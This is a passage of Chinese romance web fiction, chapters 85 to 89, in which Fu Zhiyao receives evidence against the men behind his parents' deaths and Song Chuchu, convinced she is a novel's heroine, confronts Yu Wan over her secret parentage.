紧接着,按照陆随说的,删去和陆随之间所有的消息和联系方式。
看着一片空白的聊天页面,虞晚握住手机,沉默许久没动。
陆随自七岁以后便在陆家长大,按照陆宗信虚伪、不择手段的做派,肯定逼迫陆随做了许多他不愿意做的事情,现如今陆家出事,集团项目、资金各各方面都爆出问题,陆随作为陆家养子,又怎么会被其他人认为无辜。
这就是虞晚当初纠结的原因。
她想要陆随去除心结,但这也意味着陆随必须继续在浑水中搅合,搅合的最终结果只会是两败俱伤。
从傅知尧近些年谨慎克制的行为便可窥探一二。
傅知尧难道不恨陆宗信吗?难道不想亲手惩治杀害父母的仇人陆宗信吗?他只能慢慢的,一步步图谋,因为他背后是奶奶马吟芳和妹妹傅许安。
有羁绊的人,顾虑总是多的。
陆家倒台背后未尝没有傅知尧的助力,否则陆家根基摆在那边,就算闹出问题,也不可能倒得那么快。
陆随是聪明的,他利用陆家内部三方利益不同进行引导,让他们内部斗起来,做幕后推手。
只是有陆屿森这个不稳定因素在,陆随才会劝她搬家,而陆随前脚刚提,后脚傅知尧便给了她合适的搬家地址。
难不成,两人私下联系过?
还没想明白,车窗被人轻轻敲了敲,虞晚从思绪中抽离,急忙打开车窗。
车边站着深海湾壹号的物业张经理。
虞晚搬家是徐秘书帮忙的,过程中结识了张经理。
深海湾壹号是高级住宅,小区内部有什么福利,虞晚算是代替傅知尧享受了一番。
张经理笑容温和:“虞小姐,我看您车停这儿半天没动以为您遇到了什么麻烦,过来问问。”
虞晚有些歉疚:“抱歉,回了个消息,我现在就把车开走。”
张经理摆摆手,“嗨,您客气了,对了,虞小姐,今天我们物业给小区做楼层清扫消毒工作,顺便给每位业主门把手上套了个针织手套,我记得您喜欢小区里的流浪猫,专门给您留了个橘猫的把手套。”
虞晚有些意外:“谢谢。”
张经理:“这是我们物业该做的,明天是冬至,物业这边提供免费的饺子,素馅儿的肉馅儿的都有,您要是想吃,直接来拿,煮好的、包好的,都会准备,您拿些回家冻着,随时能自己煮着吃。”
看吧,虞晚又替傅知尧享受了一份福利。
虞晚笑着应下:“好,谢谢张经理。”
被张经理这么一打断,虞晚也不再想陆随,陆随哥做事一向有自己的规划,虞晚帮不上忙,能做的就只有等待。
等新年一过,她就能和陆随哥见面了。
告别张经理,虞晚将车子停进地下车库。
深海湾壹号的地下车库并不像佳苑小区的车库,佳苑小区车库灯光微弱,虞晚经常打着手机电筒照明,但这里,车库亮如白昼,装修精致堪比酒店大堂,提醒每位业主上交的物业费没有白花。
虞晚查过这里的房价,同样九位数,和傅知尧住的浣溪沙大平层没太大区别,单论环境,肯定是浣溪沙更好,绿化做得漂亮,在住宅区内散步都像是在逛花园。
虞晚是买不起这么贵的房子了,但努努力,等主题公园的项目做完,买佳苑小区里的房子还是没问题的,付完首付,算上公积金,月供大概五千左右,还三十年就能还清。
这么一想,租房似乎最划算,拿她住的佳苑小区举例,租房三十年,只需要一百六十多万。
虞晚思绪越飘越远,上了楼,看到门把手上的橘猫手套,不由得会心一笑,橘黄色的身体交织着白色的花纹,吊坠部分居然是白色的猫蛋蛋,可爱又逼真。
虞晚没忍住捏了两下,最后拍照给傅知尧发去。
虞晚:【老板,深海湾壹号物业服务很贴心,准备了防冻手的把手套,你们小区有准备这个吗?如果没有,我把这个带给您,是橘猫的,很可爱。】
傅知尧消息回得很快。
傅老板:【那你呢?】
虞晚:【我再找物业的张经理要一个呀。】
傅知尧唇角上扬,回了好。
退出和虞晚的聊天页面,傅知尧收到陆随发来的短信。
157……6912:【我告诉虞晚我离开了海市,接下来她不会再联系我,我也不会出现在她面前,保证虞晚的安全是你答应我的事情,我要求你将这个承诺延长一段时间,至于你要的证据,明天上午十点会准时出现在你的邮箱。】
157……6912:【最后,祝你胜诉。】
傅知尧眼眸暗了暗,得到他想要的证据,傅知尧心头依旧沉甸甸的,因为他比任何人都清楚,即便陆宗信受到法律惩罚,他的父母也不会再回来。
回了陆随一个好字,傅知尧删除了这两条信息。
有些事情,即便陆随不说他同样会做,但他不明白陆随告诉虞晚自己离开海市的原因。
难不成以为虞晚会因为个人情绪影响或糊弄工作?
这段时间,任由外界闹得沸沸扬扬,虞晚雷打不动每天提前一小时来公司,带领团队接洽华康影视,现场勘察、项目评估、有关部门开会立项、投资额规划……可以说,主题乐园最终签订都是虞晚一手促成的。
虞晚成长速度之快让傅知尧都感到震惊,但仔细想想,虞晚的毅力从她进入总裁办便显露了出来,单就每天提前一小时上班就打败无数人,更难能可贵的是她的品性,不怨天尤人,不因取得成绩心浮气躁,遇到问题解决问题,善于总结经验,够胆去做,不怕失败。
傅知尧可以数半个小时虞晚的优点不带喘气。
但要傅知尧说自己的优点,傅知尧说不出来,非要说的话,就是虞晚提的信任,因为听不到虞晚的心声,对她从探究怀疑到交付真心。
傅知尧第一次体会到没有心声能力的好处,原来这个世界上还有除了亲人外不需要理由就
信任的人。
也是虞晚在向他表达信任那晚,傅知尧后知后觉明白了奶奶说的话。
听清真心,或许只需要‘靠近一点’。
第86章
隔天十点,傅知尧果然在邮箱内看到了陆随说的证据。
证据分两份。
一份是那位肇事的货车司机留存的证据,并不完整,甚至有些粗糙,证据中有录音,有照片。
录音大概是司机为了妻女免受陆宗信威胁匆匆录制的,录音中,司机将自己的姓名、身份证号以及住址详细说了出来,可以在后期起诉中申请对比音纹,作为证据之一上交。
另一份则是海度集团宋正雄和陆宗信电话沟通的监控画面。
日期就在四个月前,算算时间,大概是宋正雄那位私生子出现的时间点。
画面里,宋正雄神色有些焦虑,语气却和善地问候对面的陆宗信,寒暄过后,宋正雄直奔主题提起六年前那起车祸……
傅知尧手指紧握成拳,几乎是强迫自己冷静下来看完全部录像。
能弄来这样监控视频,难怪陆随会那么自信地同自己提出交易。
将证据保存,傅知尧发给早已准备好的律师团队,全力准备接下来的刑事诉讼。
他要陆宗信为自己的行为承担刑事责任,要将陆宗信和他的儿子陆屿森定在耻辱柱上,一辈子都背着杀人犯的名头。
消息栏处的邮件又开始闪烁红点,这代表有新的陌生邮件,傅知尧点开,收到了一封不明所以的邮件。
先是斥责虞晚的为人,言辞激烈毫无逻辑,紧接着话锋一转,说起他父母车祸的事,表明TA手中有证据,可以帮助到他,话语间提到了几个外行人根本不了解的细节。
傅知尧蹙起眉。
如果没有前面的话,傅知尧或许会信一信,毕竟这些年他没少收到这种似是而非的信息,但大多都是骗子,知晓内情的没几个。
不过傅知尧已经有了陆随提供的证据,并不想花费时间去判断这封邮件的真假,出于谨慎,他让人去查了发件人信息,得到了一个意想不到的答案。
宋楚楚。
宋正雄的女儿。
傅知尧尚且记得宋楚楚在面试总裁办秘书时的情景,能流利回答出他的问题,表现十分正常,大脑里却总在想他的样貌,心声杂乱,一会儿东一会儿西,吵得他脑子疼。
傅知尧不明白宋楚楚是怎么知道当年车祸真相,至于她口中的证据,如果真的有,现在才说是不是太迟了。
海度和屿风某种程度上说,是一丘之貉。
对付屿风需要时间,对付海度,只需要让其参与收购泰安能源,联合宋正雄前妻的父母,分别打通关系,让上下游公司催海度准时付应付账款就是了,应收账款收不回来,应付账款付不了,烂账多,企业信用差,无法通过融资弥补缺口,资金链就是这么断裂的。
更别提最近爆出的偷税漏税以及贿赂贪污,每一样都足够将海度死死摁住翻不了身。
傅知尧就是这一切的推手。
他将宋楚楚发的邮件内容重新看了一遍,面无表情删除,将发件人拖进拉黑名单。
另一边,宋楚楚躺在医院病床上,在脑海中努力复盘梦境剧情。
尽管于荷雅不承认虞晚是她的亲生孩子,但宋楚楚已经从宋正雄口中得知一切真相。
和梦境中的剧情相差无几。
她的亲生母亲袁玲不过是宋正雄众多情人中的一个,因为运气好怀上了她,生下她做要挟想宋正雄上位。
可惜运气不大好,和宋正雄前妻一同死在车流之中,于荷雅作为袁玲的好友,操持了袁玲下葬事宜,顺理成章和宋正雄结婚,成了她的母亲。
不同于起初知道自己身份时的崩溃,宋楚楚现在已经冷静下来。
她完全不需要因为于荷雅是否是她亲生母亲而困扰,既然已经证实梦中的剧情是真实可信的,她现在还有挽回的机会吗?
有的。
那就是傅知尧父母被杀害的证据。
宋楚楚从预知梦中得知傅知尧和屿风集团的纠葛,知道是陆宗信和宋正雄联手谋害了傅知尧的父母,知道傅知尧迫切想要能将陆宗信和宋正雄绳之以法的证据。
发给傅知尧的邮件中,宋楚楚夸下海口说自己手中有证据,实际上她没有,但她知道谁有。
陆决风有。
于荷雅看管严格加之脑袋的伤口没好,宋楚楚被监视足足休息了两天才出院,出院隔天宋楚楚便搭上车前往寻找陆决风。
她已经没有时间可以耽误。
宋正雄偷税漏税、贪污的事情就快要藏不住,税务部门介入调查,资产被冻结,无法消费。
宋楚楚出院后是单独住在悦和府,这是她成年时于荷雅为她购置的房子,登记在她名下,宋正雄并不清楚。
她急切地想要告诉陆决风和傅知尧有关虞晚的真面目,可她也清楚,小说世界设定这种东西说出口必然会被他们视为疯子,不到最后时刻不能说。
预知梦中,决风哥的定位更像是温柔男二,默默付出从不求回报,剧情中,是决风哥不忍心看她和傅知尧感情间离,主动将证据交到她手上。
虽说现在剧情偏差大,但决风哥手中有证据这一点应该不会出错。
她想求决风哥将证据交给她,好以此做交换,让傅知尧帮助海度解决资金问题,渡过难关,或许还能让傅知尧对她另眼相看。
不过宋楚楚已经无法奢求太多,她现在能抓住的只有陆决风一个人。
等到海度的难题解决,让决风哥成为海度的总裁,决风哥那么厉害,一定能让海度重新恢复辉煌。
到时候,她想要的幸福人生就能重新回到她身边。
宋楚楚的想象过于美好。
下了出租车,艰难在垃圾成堆,散发着腥臭味的巷子里穿行,胃里忍不住泛上一阵恶心,宋楚楚捏着鼻子才找到陆决风所在的楼栋。
这是决风哥离开陆家后重新租住的地方,不仅她不知道,就连陆屿森也不知道,所以陆屿森才会在联系不上陆决风后暴跳如雷,因为他完全找不到陆决风在哪里。
宋楚楚鼓足勇气上楼,敲响陆决风的家门。
三下响声后,宋楚楚等待了半分钟。
咔嚓一声,门开了。
门后站着的,是熟悉的温润俊朗的脸庞,宋楚楚激动到忍不住地落泪,说话声音也颤抖:“决风哥……”
宋楚楚嗓子像是被人掐住。
楼道里的光并不明亮,她却清楚看到男人的表情,深黑的眼眸中没有往日的温情和耐心,面部线条冷锐锋利,夹杂着显而易见的排斥和不喜,让她的心像是在碎玻璃渣上滚了一圈。
陆随身后,老旧的电视机正在播放新闻。
“傅氏CEO傅知尧于12月23日正式向公诉机关提交证据,要求法院重新审理六年前于东繁路发生的重大交通事故一案,明确指控屿风集团董事长陆宗信和海度集团董事长宋正雄参与谋杀前傅氏董事长夫妻傅祁明、宋明玉……”
主持人字正腔圆的声音在狭窄的空间回响,宋楚楚好似一瞬被人抽去灵魂,只剩躯壳站在陆随面前。
完了,一切都完了。
宋楚楚目光僵直,神色麻木而茫然:“……决风哥,你已经将陆宗信谋杀傅知尧父
母的证据给他了?”
剧情中,陆决风,也即是陆随,不是因为孤儿院长大性情孤僻,被收养后遇见她才逐渐走出阴影,对她心生钦慕愿意为她付出一切吗?
“你为什么要将证据给他,你用来交换什么了?!”
宋楚楚嗓音尖锐地质问陆随,绝望地不肯定接受证据已经被陆随交给傅知尧的现状。
陆随默不作声看着宋楚楚发狂,在她情绪稍稍平静后给出了最后一击。
陆随:“你不该出现在这里,证据是你母亲给我的,交换条件,则是让你能安然无恙在国外生活。”
海度集团资产被冻结,如果坐实贪污受贿,宋楚楚一家人都会成为限制高消费的失信被执行人,到时候即便能自由在境内活动也不可能再有机会去国外求一线生机。
陆随在听说海度濒临破产边缘时什么都没有做,只是等待爱女心切的于荷雅上门,婉拒她的下跪要挟后,不经意提到陆宗信和宋正雄,使她不得不拿出最重要的监控视频做筹码,为宋楚楚争取逃离的机会。
除了宋楚楚意外找到他的住址,可以说截止到目前为止事情发展的每一步都在他的计算中。
从陆屿森威胁陆宗信交出股份,到曾文芝作为第三方被引入收购泰安能源,陆家内部率先完成狗咬狗结局,海度集团也不负他的期望,成功在宋正雄的运作下熄灭最后一点火花。
虽然不明白宋楚楚是怎么知道他地址的,但宋楚楚如果知道,陆屿森大概率也会知道,这个地方已经不安全了,他需要重新换房子。
陆随抬手,关上了门。
漆黑的铁门紧紧闭合,掠夺走宋楚楚眼前最后一丝光亮,她的世界重新陷入黑暗当中。
“你是为了虞晚才将证据交给傅知尧对吗?!”
隔着笨重的铁门,宋楚楚扬声诘问,可惜没有人会回答。
宋楚楚只觉得头昏眼花,背后冷汗涔涔,失力瘫坐在地,耳边响起于荷雅那时对她说的话——
“你在国外好好生活,到时候我会给你一个账户,里面的钱足够你富足生活半辈子,国内这边,你就别再管了……”
为什么于荷雅要擅自用证据做交换,为什么预知梦要给她希望又让她绝望?
悲痛苦涩的味道像是生冷的海水,一个浪头打过来就足以让她整个人被淹没,无法再理智地思考。
不知坐了多久,直到宋楚楚浑身开始冰凉发颤地抖动,她才扶着门颤颤巍巍站起身。
她要去找虞晚。
去找让她梦中剧情全部偏离的虞晚,她的幸福人生是虞晚夺走的。
凭什么她要像只下水道的老鼠一样东躲西藏,虞晚却能光鲜亮丽接受众人瞩目!
她不甘心!
第87章
冬至一过,气温下降更明显,好在虞晚有车,只需要在下楼时裹上围巾抵挡脖子处漏进来的冷风。
进入办公楼连围巾都是多余,办公室内除去下班,全日无休开着暖气,一件薄开衫便足够。
因为搬来三十三层,虞晚有了自己的办公室。
面积不算大,没有休息室,但有一面明亮的落地窗,让虞晚可以在工作劳累之余内眺望城市景色缓解疲劳。
距离新年只有不到一个月的时间,虞晚和团队必须确保有关部门在新年前将园区内爆破后的新贸大厦建筑废墟清除,等到新年过后,刚好能安排施工队进场建造。
清除建筑废墟是拍卖地皮合同内规定的,否则园区建造成本还得往上涨。
虞晚这段时间两头跑,既要洽谈合适的工程公司,也要和远在国外的华康影视开会讨论园区内游乐设施的创新点,毕竟是国内第一座大IP主题乐园,自然不能一比一仿照国外。
除此之外,园区建造少不了政府部门的政策倾斜,虞晚还得时不时和有关部门负责人开会,比过去跟在傅知尧身边还要忙。
刚结束一场会议,虞晚接了杯水坐下来准备梳理会议内容,桌面上手机屏幕亮了一下,紧接着连续几条消息跳出来。
是宋楚楚发的。
虞晚有些意外,自从宋楚楚离职,虞晚便彻底将所谓的小说剧情抛到脑后,冷不丁收到宋楚楚消息,不由得让虞晚想起海度集团。
宋楚楚是海度集团千金的事情她是从赖言栩口中得知的,随着屿风倒台,与其深度绑定的海度同样受到影响,丑闻不断。
宋楚楚在这个档口给她发消息,虞晚猜测极有可能和海度集团最近的困境有关。
不过,虞晚对此爱莫能助。
虞晚本人不用多说,她只是一个项目负责人,手里每一笔款项的去处都需经过数人签字审批,她不可能为了前同事做挪用资金的违法行为。
又或者让虞晚牵线搭桥,请求傅知尧帮海度。
这更不可能了。
傅知尧这几天在忙起诉的事情,很少出现在公司,开会是蔡秘书代理,如非必要,虞晚不会发信息打扰他。
想来想去,虞晚决定点开消息看看。
宋楚楚:【你今天什么时候下班,我们在公司楼下咖啡店见一面,我有重要的事情要告诉你。】
宋楚楚:【是有关你的重要事情。】
宋楚楚:【必须今天说。】
宋楚楚:【错过你绝对会后悔!】
宋楚楚:【别装没看到!虞晚你其实知道小说剧情,对吗?】
看到最后一条消息,虞晚后脊背窜上一股凉意,垂下的眼眸微微敛起,方才疑虑犹豫的情绪被警惕和不安取代。
许久,虞晚动了动僵硬的指尖。
虞晚:【五点四十五,觅咖见。】
消息发送出去的那刻,窗外闪电掠过,伴随一道响彻云霄的雷鸣,虞晚下意识朝窗外望去。
没有太阳的时刻,冬日天空显得格外萧瑟,总是灰蒙蒙的,让人分不清到底是阴天还是即将下雨的前兆。
虞晚静默等了片刻,雨水迟迟没有降临,收回视线,聊天界面里宋楚楚回了个好。
时针指向五点半,虞晚做完最后一点收尾工作。
她没有像往常一样细致检查内容,在收到宋楚楚消息后,她已经尽可能保持心无旁骛地工作,但难免会被宋楚楚说的话影响,让她工作效率比平日低了一倍。
虞晚将文件保存,准备明天来公司再检查。
收拾好东西,虞晚拎着包下楼,迎面遇到几位朝她恭敬问好的职员,虞晚颔首,进了电梯。
电梯下行中,虞晚收到傅知尧的消息。
傅知尧:【你现在还在公司?】
虞晚:【在的,老板您有什么需要?】
傅知尧:【没什么,待会儿要下雨,路上不好开车,记得早点回家,别加班。】
虞晚:【老板,那你在公司吗?】
傅知尧:【地下停车场,准备回家了。】
傅知尧:【[图片].jpg】
这算是行程报备吧,虞晚分神地想。
手指头却一板一眼打字:【好,处理完事情我会尽快回家。】
虞晚:【谢谢老板关心。】
傅知尧眉梢轻轻抬了一下,淡声嘱咐司机小程开车。
这几天忙着起诉的事情,傅知尧无暇分心顾及公司,下午抽空来公司检查各个项目进展,听蔡秘书和徐秘书汇报工作。
本想着路过虞晚办公室能看看她,结果被徐秘书告知虞晚下午都在开会,索性没有打扰。
车子平稳驶出地下停车场,隔着粗厚的分隔栏杆,入口处恰在此时驶入一辆黑色的车。
本地车牌号,车窗半透明,傅知尧不经意一瞥,看到了驾驶座上的女人。
宋楚楚?
两辆车在一瞬间错身而过,没有给傅知尧看第二眼的机会,因此他并不能确定那人是宋楚楚。
他倒是不担心宋楚楚会对傅氏企业造成威胁,宋楚楚就职傅氏那段时间,所有待遇一应按照实习生来,没有任何打压或者苛待,即便宋楚楚要闹也闹不出什么水花。
傅知尧之所以会关心宋楚楚为何出现在傅氏大楼,主要是她发来的那封邮件。
贬低虞晚是其一,知晓当年车祸内幕是其二。
宋楚楚这个人身上疑点太多了。
啪。
清脆的一声打断傅知尧的思绪。
雨终于落了下来,天色霎时变得阴沉,路边行人脚步匆匆找地方躲雨,疾风裹着雨水毫无章法敲打在咖啡馆玻璃窗上。
觅咖不比另一家咖啡馆,人流量不大,十分安静,很适合坐下来聊天或者处理一些紧急工作。
但因为躲雨的人,觅咖罕见吵闹了一些。
虞晚心不在焉地搅动着杯中的热可可,在倏而飘起的一缕
白色雾气中看向对面坐着的宋楚楚。
如果不是宋楚楚喊出她的名字,她几乎无法将记忆中那个骄纵活泼的人和面前的宋楚楚联系在一起。
额头上贴着纱布,嘴唇苍白干裂,下眼圈青黑色痕迹明显,面容憔悴,脊背像是软体动物般微微佝偻,放在桌上的手即便捧着咖啡杯仍旧在无意识颤抖,与此相反的是她双眼中的情绪,透露出与动作截然不同的……仇视?
虞晚放下手中咖啡勺,迟疑道:“你还好吗?”
宋楚楚冷笑,嘴角扯起来,皴裂开一道小口,鲜血立刻充盈裂缝,像盘亘在唇中的深红色的伤疤:“你是怎么看着我现在的样子说出这样的话?因为知晓剧情你很得意吗?”
这就是她和宋楚楚无法对上信号频的主要原因。
虞晚知道小说梗概没错,她甚至猜测自己当初的失忆正是因为得知小说剧情,但问题也偏偏出在这里。
失了忆的虞晚只知道小说梗概。
所以,面对宋楚楚的逼问,虞晚不明所以地蹙眉,装傻充愣:“你说你见我是有很重要的事情要告诉我,但,‘知晓剧情’是什么意思,是指我知道你是海度集团宋正雄的女儿吗?”
宋楚楚砰地一下捶向桌面,上半身越过桌面,一双眼死死盯着虞晚,“别装傻了,你都知道的!”
她声音骤然压低,咬字极其用力,重到能听见牙齿摩擦的咯吱声:“你知道这是小说世界,知道傅知尧是男主,知道我是女主,所以你抢走了原本属于我的人生!”
一字一句,如雷贯耳。
虞晚半天没有动,就在宋楚楚以为虞晚会说出她的确知道剧情的话时,虞晚脑袋偏了偏,漆黑的眼眸在头顶澄亮灯光下显现出如同琥珀般的色泽,眼睛里流露出的类似于同情的情绪刺得宋楚楚眼睛生疼。
虞晚语气有些担忧:“……你真的还好吗?”
“哈哈哈哈哈。”宋楚楚又哭又笑,表情皱成一团,“你不知道,你居然不知道?你怎么能不知道?”
宋楚楚眼泪大颗大颗掉下来,扯过纸巾擦脸,吐字含糊不清,“你不知道为什么还能抢走属于我的女主人生,你知不知道,本来应该得到傅知尧的青睐成为他的秘书的人是我,是我,陆决风是我的竹马,不是你的,不是你的……”
她像个小孩子一样,因为没有得到自己喜欢的糖果闹起脾气,以为掉眼泪就会有人心疼,或许这一套对宋楚楚的妈妈管用,否则不能养成宋楚楚这样骄纵天真的性格。
但对虞晚,毫无作用。
她从宋楚楚的只言片语中推断,宋楚楚在机缘巧合下得知了小说剧情,但此时事情发展已经完全不在她的控制范围内,所以她才会崩溃。
宋楚楚嚷嚷女主人生,到底怎么样的人生才算女主人生呢?
因此,虞晚没有阻止她哭泣,端起还算温热的香浓可可喝了一口,安静等待宋楚楚缓和情绪。
独角戏不会演太久,不到一分钟宋楚楚就停止了哭泣。
她像是想起什么,连珠炮似地问虞晚:“你不知道你的真实身世对不对?不知道你的亲生母亲是谁,不知道她为什么要将你抛弃在孤儿院门口,让你在孤儿院长大,成为一个无父无母的孩子,对不对?”
宋楚楚像是终于找回主场,急不可耐地炫耀她比虞晚了解更多的事情,眼角眉梢都扬了起来,嘴唇上那道干裂流血的地方已经形成暗红色的血痂,随着她的动作再次被撕裂。
“我的确不知道,你想说什么?”
宋楚楚从包里拿出早就准备好的鉴定资料,满脸看好戏的表情,她将资料推到虞晚面前。
“看完这个你就知道了,”宋楚楚声音充斥着完全不掩饰的恶意,“将你弃养,丢到孤儿院门口仍由你自生自灭的人,是我现在的妈妈,海度集团的董事长夫人,于荷雅。”
第88章
宋楚楚准备的资料很齐全。
宋楚楚和于荷雅的亲子鉴定结果,虞晚和于荷雅的亲子鉴定结果,尽管虞晚不知道对方是怎么弄到自己的检测样本,但最终的结果是为了让她知道,于荷雅是她的亲生母亲。
和宋楚楚想象中的不一样,虞晚表情始终平静,直至翻到资料里夹着的那张合影。
照片中的女人约莫三十多岁的模样,穿着缎面的妃色无袖长裙,半蹲在扎着双马尾的宋楚楚旁边,双手环抱着宋楚楚,笑得温柔明丽,宋楚楚大概只有六七岁,脸蛋白净可爱,短胖的手指戳着自己脸蛋,露出一口米粒般的白牙。
任谁看了都会觉得这是一对温情和睦的母女。
虞晚盯着照片中的女人,忽然想明白那日在服装店对方为何会哆哆逼人斥责她是第三者,咒骂她的爱情是偷来的,见不得光。
不是神经质对着陌生人发疯的阿姨,所有羞辱的言语和讥讽仇恨的眼神不过是为了另一个孩子的宣泄。
难怪陆随哥会问她想不想找到亲生母亲,原来他早就知道于荷雅是她的妈妈。
见虞晚目光落在照片上久久没有挪开,宋楚楚便确定自己拿照片的行为是正确的。
没有哪个渴望母爱的孩子在看到母亲对着另一个孩子和颜悦色时能保持理智。
宋楚楚一边紧盯着虞晚的反应,一边说:“于荷雅是个相当合格的母亲,她将我照顾得很好,我们两个都是B型血,所以我从没怀疑过她不是我的妈妈,会因为我第一次去幼儿园不习惯,坐在座位旁陪我一整天,会因为我生病发烧寸步不离地照顾我,她将绝大部分的时间和精力都用在照顾我这件事情上,我喜欢陆决风,不,现在该叫决风哥陆随了,所以于荷雅一直在撮合我和陆随,你可以抢走陆随,但你抢的走于荷雅吗?”
“她真的是贱,明明知道我不是她亲生的孩子,明明知道你才是她亲生女儿,却不肯认回你,我让她滚开不要出现在我面前她不听,想办法凑钱让我出国,继续将我当宝,你呢,你不过是她眼里的一根刺,无足轻重,你不恨她吗?”
“孤儿院生活不好受吧,被扔在孤儿院门口,被于荷雅取了个和‘于’字相近的姓氏,随意取了‘晚’这样的名,靠国家和好心人的救济才能长大,亲生母亲为了荣华富贵丢弃你,哪怕长大后认出你也不愿意认回你,你不觉得讽刺吗?”
桌上,虞晚的手机连续震动了好几下,两人谁也没去管。
宋楚楚尽可能地从被抛弃的虞晚的角度去思考,如果她是虞晚,她会多么恨于荷雅。
口干舌燥之时,宋楚楚终于从虞晚的表情里看出不对劲。
她合上嘴,眼神里多了几分不解,半晌,讷讷地问:“为什么是这个反应,你不伤心吗?”
虞晚将资料推到宋楚楚手边,面上表情疏离:“如果你在消息中提到的重要事情是指这个,那么我已经知道了,拿铁我请你喝,感谢你告诉我这个消息。”
说完,拎起包包,走了没几步,折返,抓过桌上的手机握在手里,去柜台结了账。
身影很快消失在店内。
宋楚楚懵了几秒才反应过来,把那些资料胡乱塞进包里,追在虞晚身后,进了地下停车场。
“虞……”
宋楚楚脚步骤然僵在原地。
地下停车场内除了虞晚,还有一个她熟悉的人。
傅知尧站在虞晚面前,垂下脑袋去看虞晚的表情,声音轻柔,像是在解释着什么。
“我给你发消息你没回,心里总不算安稳,就让程亮把车开回来了,今天雨下得有点大,待会儿让程亮把你先送回家,我开你的车,这样你明天来上班就不用坐地铁了。”
虞晚仰头看着傅知尧,有些愣怔:“没关系,我可以开车,只是外面下雨,老板你开车会被影响吧。”
“我就当你在关心我了,不是上次那种
特殊情况,我也没脆弱到下雨就变成行动不能自理的智障。”
傅知尧开了个玩笑,“就这么决定了?”
虞晚摇头:“如果这样的话,那就麻烦老板和小程司机送我回家了,车我今天不开,明早搭个地铁而已,很方便的。”
傅知尧轻笑出声,“可以。”
两人交谈的画面温馨和睦,即便是在停车场冷调光线下,依旧有一种旁人无法插入的无形结界。
将宋楚楚隔绝。
宋楚楚手中的包包不知何时落地,声响吸引了前方的两人,同时朝宋楚楚投来视线,相似的表情,相似的神态,深深刺痛宋楚楚的眼。
她快步上前扯开虞晚,同傅知尧面对面,垂在身侧的手在颤抖,她的不甘心和怨恨化为怒吼:“你还没看清虞晚是什么样的人吗?!她是故意接近你的,她想从我身边抢走一切,因为我是女主,你该和我结婚的,你怎么能喜欢上虞晚,你不能喜欢虞晚。你是我的,陆随是我的,都是我的,这些本该是属于我的人生,不是虞晚的!”
宋楚楚越说越崩溃,眼泪不自觉流出来。
哪怕被傅知尧认为是疯子,她也要说出来,否则她该怎么释怀失去的一切。
“我给你发的邮件你没看吗,虞晚脚踏两只船,她一面和陆随纠缠,一面和你搞暧昧,享受你们给予的好处,你不觉得这样的虞晚恶心吗?”
傅知尧目光凌厉,冷眼旁观宋楚楚的撒泼,在宋楚楚提及虞晚时表情终于有了波动。
“宋楚楚,你适可而止!”
“如果你以为这样几句话就能诋毁虞晚,那么我不介意说得直白些。”傅知尧周身气息冷得骇人,“选择虞晚当秘书的人是我,将你调去后勤部的人是我,无视你发来邮件的人是我,你说虞晚抢走你的一切?可笑,不如说是我剥夺了你的一切,你是不是没看新闻,如果知道宋正雄也被我以教唆犯罪的罪名起诉了,你现在还哭得出来吗?”
宋楚楚瞳孔骤缩,失力往后退了两步,声音弱了些,不停摇头。
“……什么教唆犯罪,谋害你父母的人不是陆宗信吗?和我爸有什么关系,关我什么事,我不懂,我不懂。”
“不懂?你是二十三岁,不是三岁,你早该知道世界不是围着你转,今天是第一次,如果你再来找虞晚麻烦……”
傅知尧还准备说些什么,被虞晚拉住手腕,她冲傅知尧摇摇头。
“我来说吧。”
傅知尧深吸一口气,顾忌着宋楚楚这个疯子,没有离开,将视线瞥向一边,继续屏蔽听取心声的能力。
见傅知尧不再说话,宋楚楚凑上前,拉住虞晚的衣角,声音哀求:“虞晚,我错了,我知道错了,算我求你,你帮帮我,让傅知尧撤销诉讼好不好?我不和你计较你抢走我的一切了,我不计较了,我不想有一个背着杀人罪名的父亲,你帮帮我,帮帮我好不好?”
虞晚掰开宋楚楚攥紧的手,眸光沉沉。
虞晚:“我和你不是朋友,没有任何关系,求我,让我帮你,是件很滑稽的事,你一直挂在嘴边的女主人生,是指不需要贴心就能得到他人关爱,不需要努力就能获取财富,不需要回馈就能被人满足心愿,顺遂又毫无波折的人生吗?”
虞晚的话很轻,又像是千斤重的锤子,一锤一锤砸在宋楚楚心上。
“那么你可能一开始就得到了。”
“爱你的母亲,富裕的家境,因为你的大方对你和善的朋友。”
“别说了!你别说了!”
宋楚楚痛苦地捂住自己耳朵,脆弱得彷佛一阵风都能将她吹倒,她擦去自己脸上的泪水,嗓音尖锐:“装好人让你特别有成就感是不是?为什么非要提于荷雅!”
宋楚楚眼神透着歇斯底里的疯狂,她伸手指着虞晚,对傅知尧说:“你还不知道吧,她的亲生母亲是于荷雅,是我的妈妈,你如果真的喜欢虞晚,那就帮帮海度!我说不定能让于荷雅认回虞晚,至于宋正雄,就算他曾参与谋害你的父母,但你父母已经死了,时隔六年,现在追究又有什么意……”
啪——
过于清脆的一道巴掌声,终止宋楚楚全部的话语。
虞晚缓缓收回手,胸膛和她的情绪一样不平稳地起伏,她压抑着愤怒的火,一字一句说道:“宋楚楚,如果你还学不会说话,我会打到你闭嘴。”
事实证明一个巴掌比千言万语都管用,宋楚楚消停了,脸色苍白地站在原地,整个人彷佛站在悬崖边缘,摇摇欲坠。
虞晚拉着傅知尧离开。
从虞晚开口到现在,傅知尧的手腕一直被虞晚抓着,尽管无法将他的手腕完全包裹住,但仍让傅知尧产生一种被保护的错觉,他的眼眶像是泡在青芒榨出的汁水中,酸涩却充盈。
快走到专用停车位前,傅知尧终于开口,喊出虞晚的名字。
“虞晚。”
虞晚闷头走了几步猛地回神,转过头看向傅知尧,地下停车场光线影影绰绰,傅知尧深邃的五官隐匿其中,表情看得并不清晰。
虞晚视线落到握着傅知尧的手上,嗓子有些许哑意:“抱歉,我是不是太用力了。”
正要松开,被傅知尧反手抓住,这回不再是隔着衣袖,温暖干燥的手试探性地触碰虞晚的手指,察觉虞晚没有抗拒,往上挪了位置,掌心贴掌心,密不可分,像是生怕虞晚会反悔。
傅知尧舌尖好似触了电,吐出颤栗的字。
“虞晚,……谢谢你。”
第89章
虞晚和傅知尧的脚步声逐渐远去,原本空旷安静的停车场像是忽然接入外界讯号,陆续有人走入。
擦肩而过,宋楚楚听到那人小声嘀咕:“不是说停车场出了点故障要修理二十分钟吗?怎么这么快就好了。”
傅知尧居然连这点都考虑到了,生怕谈话内容泄露对虞晚造成影响,可对她,言语极尽嘲讽。
宋楚楚哧哧笑起来,笑容苦涩凄凉,动作牵扯到左边的脸庞,在停车场冷空气中灼灼发烫。
